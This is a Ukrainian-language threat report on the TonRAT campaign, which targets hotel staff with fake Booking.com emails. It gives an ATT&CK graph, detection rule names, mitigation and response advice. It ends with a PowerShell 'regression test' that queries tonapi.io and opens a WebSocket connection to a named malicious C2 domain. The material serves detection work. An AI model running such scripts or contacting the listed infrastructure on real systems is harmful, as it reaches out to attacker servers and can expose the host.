Технічний аналіз підозрілих електронних листів, націлених на готельну індустрію
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Витончена багаторівнева кампанія шкідливих програм націлена на готельний сектор через електронні листи, що маскуються під сповіщення від Booking.com. Ланцюг вторгнення поєднує шкідливі LNK-файли, скрипти PowerShell і троян для віддаленого доступу на основі Node.js, відомий як TonRAT. Однією з найбільш помітних особливостей операції є використання API The Open Network (TON) для динамічного отримання доменів командування та управління, що робить традиційне блокування на основі доменів менш надійним.
Розслідування
Розслідування виявило багатошаровий процес виконання, в якому початковий ZIP-архів містить LNK-файл, який запускає PowerShell для отримання вторинного скрипту. Цей скрипт розшифровує JavaScript-навантаження, ідентифіковане як TonRAT за допомогою AES, і запускає його через легітимне середовище виконання Node.js, завантажене з nodejs.org. Після активації, шкідлива програма починає командно-контрольні комунікації, що базуються на WebSocket, використовуючи інформацію про домен, отриману з API-запитів до блокчейну TON.
Пом’якшення
Рекомендовані заходи захисту включають обмеження виконання PowerShell, ретельний моніторинг несанкціонованого використання середовища виконання Node.js (node.exe), і виявлення аномального трафіку WebSocket. Організації також повинні звертати увагу на підключення до API TON, включаючи tonapi.io, і зміцнювати фільтрацію електронної пошти для виявлення підроблених доменів, підозрілих вкладень і фішинг-приманок, спрямованих на персонал готелів.
Відповідь
Якщо підозрюється компрометація, команди безпеки повинні негайно ізолювати уражене кінцеве обладнання, щоб запобігти додатковому трафіку командування та управління і можливому вилученню даних. Логи операцій PowerShell і записи про виконання процесів слід переглянути на предмет несанкціонованої node.exe активності. Також слід провести судово-медичний огляд для відомих хешів JavaScript TonRAT, а також розслідування будь-яких підключень до визначеної інфраструктури командування та управління.
"графік ТБ %% Розділ визначень класів classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ccffcc %% Визначення вузлів action_phishing["<b>Дія</b> – <b id='T1566.002'>T1566.002 Фішинг: Сперфішинг Посилання</b><br/>Опис: Зловмисники надсилають електронні листи, що маскуються під Booking.com<br/>містять посилання для завантаження шкідливого ZIP-файлу."] class action_phishing action action_execution["<b id='T1204.002'>T1204.002 Виконання Користувачем: Шкідливий Файл</b><br/>Опис: Користувач запускає .lnk-файл, що міститься в ZIP-архіві."] class action_execution action process_cmd["<b id='T1059.003'>T1059.003 Інтерпретатор Команд і Скриптів: Оболонка Команд Windows</b><br/>Опис: Запускається з допомогою команди PowerShell з використанням Invoke-WebRequest<br/>для завантаження вторинного скрипту."] class process_cmd process malware_script["<b id='T1027'>T1027 Закамуфльовані Файли або Інформація</b><br/>Опис: Скрипт PowerShell LE3f0MRT.ps1 використовує AES шифрування<br/>для розшифровки файлу JavaScript (TonRAT)."] class malware_script malware action_transfer["<b id='T1105'>T1105 Передача Інструменту Вхід</b><br/>Опис: Шкідлива програма завантажує легітимне середовище виконання Node.js<br/>з nodejs.org для виконання навантаження."] class action_transfer action action_indirect["<b id='T1202'>T1202 Непряме Виконання Команд</b><br/>Опис: Використовується для підтримання стійкості та уникнення виявлення."] class action_indirect action action_resolution["<b id='T1568'>T1568 Динамічне Розв’язання</b><br/>Опис: Здійснюються запити до API TON (tonapi.io) для отримання<br/>домену управління та контролю C2."] class action_resolution action malware_tonrat["<b id='T1568'>T1568 Управління та Контроль</b><br/>Опис: TonRAT встановлює зв’язок через WebSocket<br/>використовуючи ECDH хендшейк для зашифрованого C2."] class malware_tonrat malware %% З’єднання action_phishing –>|веде до| action_execution action_execution –>|запускає| process_cmd process_cmd –>|завантажує| malware_script malware_script –>|виконує| action_transfer action_transfer –>|активує| action_indirect action_indirect –>|виконує| action_resolution action_resolution –>|резольвірує C2 для| malware_tonrat malware_tonrat –>|дозволяє| action_indirect "
Хід атаки
Виявлення
Можливість виконання через приховані командні рядки PowerShell (через cmdline)
Переглянути
Можливі індикатори обфускації PowerShell (через PowerShell)
Переглянути
Можливі точки стійкості [ASEPs – Software/NTUSER Hive] (через registry_event)
Переглянути
PowerShell виконує файл у підозрілому каталозі за допомогою політики обходу виконання (через cmdline)
Переглянути
NodeJS виконує з незвичайного місця (через cmdline)
Переглянути
Підозрілі зміни в налаштуваннях Windows Defender (через PowerShell)
Переглянути
Підозріле управління та контроль по незвичному запиту DNS верхнього рівня (TLD) (через DNS)
Переглянути
Виявлена WebSocket C2 комунікація через TON API у TonRAT [Підключення до мережі Windows]
Переглянути
Команда PowerShell для завантаження та виконання шкідливого файлу [Windows PowerShell]
Переглянути
Виконання симуляції
Попередній вимір: Телеметрія та передполітна перевірка базової лінії повинні бути пройдені.
Міркування: Цей розділ деталізує конкретне виконання техніки противника (TTP), розроблене для спрацьовування правила виявлення. Команди та наративи ПОВИННІ безпосередньо відображати виявлені TTP та націлені на генерацію саме тієї телеметрії, якої очікує логіка виявлення. Абстрактні або не пов’язані приклади призведуть до неправильної діагностики.
-
Наратив атаки та команди: Зловмисник має на меті встановити командно-контрольний канал на основі WebSocket (C2). Щоб злитись з легітимним трафіком, шкідлива програма спочатку надсилає запит до
tonapi.ioсервісу для розв’язання своєї інфраструктури C2. Після встановлення “легітимної” взаємодії з API, шкідлива програма ініціює хендшейк WebSocket (wss://) до зашитого шкідливого доменуzloapobikahy23.bond. Ця послідовність призначена для використання репутації API TON для маскування подальшого шкідливого з’єднання. -
Сценарій тестування регресії:
# Симуляція WebSocket комунікації TonRAT C2 # Крок 1: Симулювати взаємодію з API TON Write-Host "[+] Симуляція взаємодії з tonapi.io..." $api_url = "https://tonapi.io/v2/blockchain/accounts/EQ..." Invoke-WebRequest -Uri $api_url -Method Get -UseBasicParsing # Крок 2: Симулювати підключення до WebSocket до шкідливого домену C2 # Нотатка: Ми використовуємо клієнт PowerShell, щоб ініціювати WSS-запит для виклику логіки 'wss://' та домену Write-Host "[+] Симуляція підключення до WebSocket до шкідливого домену..." $c2_url = "wss://zloapobikahy23.bond/control" # Використання клієнта .NET WebSockets, щоб гарантувати наявність 'wss://' в телеметрії $ws = New-Object System.Net.WebSockets.ClientWebSocket $cts = New-Object System.Threading.CancellationTokenSource $uri = New-Object System.Uri($c2_url) try { $task = $ws.ConnectAsync($uri, $cts.Token) # Нам не потрібне успішне підключення, достатньо лише спроби для генерації логів $task.Wait(5000) } catch { Write-Host "[!] Підключення не вдалося, як і очікувалося (домен не існує), але телеметрія повинна бути згенерована." } finally { $ws.Dispose() } -
Команди прибирання:
# Цей сценарій не створює стійких артефактів, але ми очищаємо консоль Clear-Host Write-Host "Очищення симуляції завершено."